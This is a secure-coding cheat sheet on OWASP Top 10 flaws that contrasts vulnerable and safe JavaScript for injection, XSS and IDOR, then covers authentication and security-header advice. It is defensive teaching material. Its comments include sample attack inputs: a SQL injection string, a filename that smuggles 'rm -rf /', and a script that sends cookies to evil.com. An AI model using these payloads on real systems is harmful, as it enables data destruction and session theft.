Web-security
01 / 02

OWASP Top 10 & Common Vulnerabilities

OWASP Top 10 & Common Vulnerabilities

1. Injection (SQL, Command, LDAP)

// VULNERABLE — SQL injection
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Input: ' OR '1'='1  → returns all users

// SAFE — parameterized queries
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
// ORMs (Prisma, TypeORM) are parameterized by default

// VULNERABLE — command injection
exec(`convert ${filename} output.jpg`);
// Input: file.jpg; rm -rf /

// SAFE — avoid shell, use arrays
execFile('convert', [filename, 'output.jpg']);

2. XSS (Cross-Site Scripting)

// VULNERABLE — rendering user input as HTML
element.innerHTML = userInput;
// Input: <script>fetch('evil.com?cookie='+document.cookie)</script>

// SAFE — use textContent or escape
element.textContent = userInput;       // no HTML interpretation
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);  // sanitize rich HTML

// React is safe by default — JSX escapes values
// {userInput} is safe; dangerouslySetInnerHTML is not

// CSP header — prevent inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'

// HttpOnly cookie — JS can't access it
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

3. Broken Authentication

  • Use bcrypt/argon2 for passwords — never SHA1, MD5, or plaintext

  • Enforce minimum password length (8+), breached password check (HaveIBeenPwned API)

  • Rate limit login attempts — lock after 10 failures per minute

  • Short-lived JWTs (15 min), rotate refresh tokens on use

  • Implement MFA for sensitive operations

  • Generic error messages — "Invalid email or password" (don't confirm which is wrong)

4. Insecure Direct Object References (IDOR)

// VULNERABLE — any user can access any order
GET /orders/12345
const order = await db.orders.findById(orderId);
return order;

// SAFE — verify ownership
const order = await db.orders.findFirst({
  where: { id: orderId, userId: currentUser.id }  // check ownership
});
if (!order) throw new ForbiddenError();

5. Security Misconfiguration

  • Disable debug mode, stack traces, and GraphQL introspection in production

  • Use HTTPS everywhere; HSTS header; no mixed content

  • Remove unused dependencies, endpoints, and sample code

  • Never commit secrets — use environment variables or secret managers

Security Headers

# Essential HTTP security headers
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

# CORS
Access-Control-Allow-Origin: https://myapp.com  # never * for authenticated APIs
Access-Control-Allow-Credentials: true

# Use helmet (Node.js)
import helmet from 'helmet';
app.use(helmet());

Keep your own version of these notes — editable, searchable, and organised by your stack.

Start free